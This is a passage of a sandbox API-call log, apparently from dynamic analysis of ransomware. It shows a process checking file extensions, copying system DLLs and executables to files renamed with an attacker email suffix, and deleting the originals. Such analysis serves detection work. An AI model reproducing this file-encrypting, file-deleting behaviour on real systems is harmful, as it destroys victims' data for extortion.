returned 4 [0074.088] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.088] lstrcmpiW (lpString1=".EXE", lpString2=".save") returned -1 [0074.088] lstrlenW (lpString="OSE.EXE") returned 7 [0074.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0074.089] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=244296) returned 1 [0074.089] CloseHandle (hObject=0x38c) returned 1 [0074.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0074.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0074.089] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.089] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0074.090] GetLastError () returned 0x0 [0074.090] ReadFile (in: hFile=0x38c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0074.096] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0074.101] ReadFile (in: hFile=0x38c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.101] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1 [0074.101] SetEndOfFile (hFile=0x374) returned 1 [0074.101] CloseHandle (hObject=0x374) returned 1 [0074.101] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.101] SetEndOfFile (hFile=0x38c) returned 1 [0074.104] CloseHandle (hObject=0x38c) returned 1 [0074.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.104] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0074.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.104] lstrlenW (lpString=".doc") returned 4 [0074.104] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0074.104] lstrlenW (lpString=".docx") returned 5 [0074.104] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0074.104] lstrlenW (lpString=".pdf") returned 4 [0074.104] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0074.104] lstrlenW (lpString=".xls") returned 4 [0074.104] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString=".xlsx") returned 5 [0074.105] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0074.105] lstrlenW (lpString=".ppt") returned 4 [0074.105] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString=".zip") returned 4 [0074.105] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString=".rar") returned 4 [0074.105] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString=".bz2") returned 4 [0074.105] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0074.105] lstrlenW (lpString=".7z") returned 3 [0074.105] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString=".dbf") returned 4 [0074.105] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString=".1cd") returned 4 [0074.105] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString=".jpg") returned 4 [0074.105] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.105] lstrlenW (lpString=".doc") returned 4 [0074.105] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0074.105] lstrlenW (lpString=".docx") returned 5 [0074.105] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0074.105] lstrlenW (lpString=".pdf") returned 4 [0074.105] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0074.105] lstrlenW (lpString=".xls") returned 4 [0074.106] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0074.106] lstrlenW (lpString=".xlsx") returned 5 [0074.106] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0074.106] lstrlenW (lpString=".ppt") returned 4 [0074.106] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0074.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.106] lstrlenW (lpString=".zip") returned 4 [0074.106] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0074.106] lstrlenW (lpString=".rar") returned 4 [0074.106] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0074.106] lstrlenW (lpString=".bz2") returned 4 [0074.106] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0074.106] lstrlenW (lpString=".7z") returned 3 [0074.106] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0074.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.106] lstrlenW (lpString=".dbf") returned 4 [0074.106] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0074.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.106] lstrlenW (lpString=".1cd") returned 4 [0074.106] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0074.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0074.106] lstrlenW (lpString=".jpg") returned 4 [0074.106] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0074.106] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0074.106] lstrlenW (lpString="msdia100.dll") returned 12 [0074.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0074.342] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=990032) returned 1 [0074.343] CloseHandle (hObject=0x2f4) returned 1 [0074.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0074.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0074.343] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.343] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0074.344] GetLastError () returned 0x0 [0074.344] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0074.370] WriteFile (in: hFile=0x398, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0074.769] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.769] WriteFile (in: hFile=0x398, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.769] SetEndOfFile (hFile=0x398) returned 1 [0075.175] CloseHandle (hObject=0x398) returned 1 [0075.175] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.175] SetEndOfFile (hFile=0x2f4) returned 1 [0075.186] CloseHandle (hObject=0x2f4) returned 1 [0075.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.187] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0075.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.187] lstrlenW (lpString=".doc") returned 4 [0075.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.187] lstrlenW (lpString=".docx") returned 5 [0075.187] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0075.187] lstrlenW (lpString=".pdf") returned 4 [0075.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.187] lstrlenW (lpString=".xls") returned 4 [0075.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString=".xlsx") returned 5 [0075.188] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0075.188] lstrlenW (lpString=".ppt") returned 4 [0075.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString=".zip") returned 4 [0075.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString=".rar") returned 4 [0075.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString=".bz2") returned 4 [0075.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.188] lstrlenW (lpString=".7z") returned 3 [0075.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString=".dbf") returned 4 [0075.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString=".1cd") returned 4 [0075.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString=".jpg") returned 4 [0075.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.188] lstrlenW (lpString=".doc") returned 4 [0075.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.188] lstrlenW (lpString=".docx") returned 5 [0075.188] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0075.189] lstrlenW (lpString=".pdf") returned 4 [0075.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.189] lstrlenW (lpString=".xls") returned 4 [0075.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.189] lstrlenW (lpString=".xlsx") returned 5 [0075.189] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0075.189] lstrlenW (lpString=".ppt") returned 4 [0075.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.189] lstrlenW (lpString=".zip") returned 4 [0075.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.189] lstrlenW (lpString=".rar") returned 4 [0075.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.189] lstrlenW (lpString=".bz2") returned 4 [0075.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.189] lstrlenW (lpString=".7z") returned 3 [0075.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.189] lstrlenW (lpString=".dbf") returned 4 [0075.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.189] lstrlenW (lpString=".1cd") returned 4 [0075.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0075.189] lstrlenW (lpString=".jpg") returned 4 [0075.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.190] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.190] lstrlenW (lpString="msader15.dll") returned 12 [0075.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.416] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2560) returned 1 [0075.416] CloseHandle (hObject=0x2ec) returned 1 [0075.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0075.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.416] lstrlenW (lpString=".doc") returned 4 [0075.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.416] lstrlenW (lpString=".docx") returned 5 [0075.416] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0075.416] lstrlenW (lpString=".pdf") returned 4 [0075.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.416] lstrlenW (lpString=".xls") returned 4 [0075.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.416] lstrlenW (lpString=".xlsx") returned 5 [0075.417] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0075.417] lstrlenW (lpString=".ppt") returned 4 [0075.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString=".zip") returned 4 [0075.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString=".rar") returned 4 [0075.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString=".bz2") returned 4 [0075.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.417] lstrlenW (lpString=".7z") returned 3 [0075.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString=".dbf") returned 4 [0075.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString=".1cd") returned 4 [0075.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString=".jpg") returned 4 [0075.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.417] lstrlenW (lpString=".doc") returned 4 [0075.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString=".docx") returned 5 [0075.417] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0075.417] lstrlenW (lpString=".pdf") returned 4 [0075.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString=".xls") returned 4 [0075.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.417] lstrlenW (lpString=".xlsx") returned 5 [0075.418] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0075.418] lstrlenW (lpString=".ppt") returned 4 [0075.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.418] lstrlenW (lpString=".zip") returned 4 [0075.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.418] lstrlenW (lpString=".rar") returned 4 [0075.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.418] lstrlenW (lpString=".bz2") returned 4 [0075.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.418] lstrlenW (lpString=".7z") returned 3 [0075.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.418] lstrlenW (lpString=".dbf") returned 4 [0075.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.418] lstrlenW (lpString=".1cd") returned 4 [0075.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0075.418] lstrlenW (lpString=".jpg") returned 4 [0075.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.419] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.419] lstrlenW (lpString="oledb32.dll") returned 11 [0075.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.420] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=942080) returned 1 [0075.420] CloseHandle (hObject=0x2ec) returned 1 [0075.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0075.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.420] lstrlenW (lpString=".doc") returned 4 [0075.420] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.420] lstrlenW (lpString=".docx") returned 5 [0075.420] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0075.420] lstrlenW (lpString=".pdf") returned 4 [0075.420] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.420] lstrlenW (lpString=".xls") returned 4 [0075.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.420] lstrlenW (lpString=".xlsx") returned 5 [0075.420] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0075.420] lstrlenW (lpString=".ppt") returned 4 [0075.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString=".zip") returned 4 [0075.421] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString=".rar") returned 4 [0075.421] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString=".bz2") returned 4 [0075.421] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.421] lstrlenW (lpString=".7z") returned 3 [0075.421] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString=".dbf") returned 4 [0075.421] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString=".1cd") returned 4 [0075.421] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString=".jpg") returned 4 [0075.421] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.421] lstrlenW (lpString=".doc") returned 4 [0075.421] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString=".docx") returned 5 [0075.421] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0075.421] lstrlenW (lpString=".pdf") returned 4 [0075.421] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString=".xls") returned 4 [0075.421] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.421] lstrlenW (lpString=".xlsx") returned 5 [0075.421] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0075.421] lstrlenW (lpString=".ppt") returned 4 [0075.421] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned 55 [0075.422] lstrlenW (lpString=".zip") returned 4 [0075.422] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.422] lstrlenW (lpString=".rar") 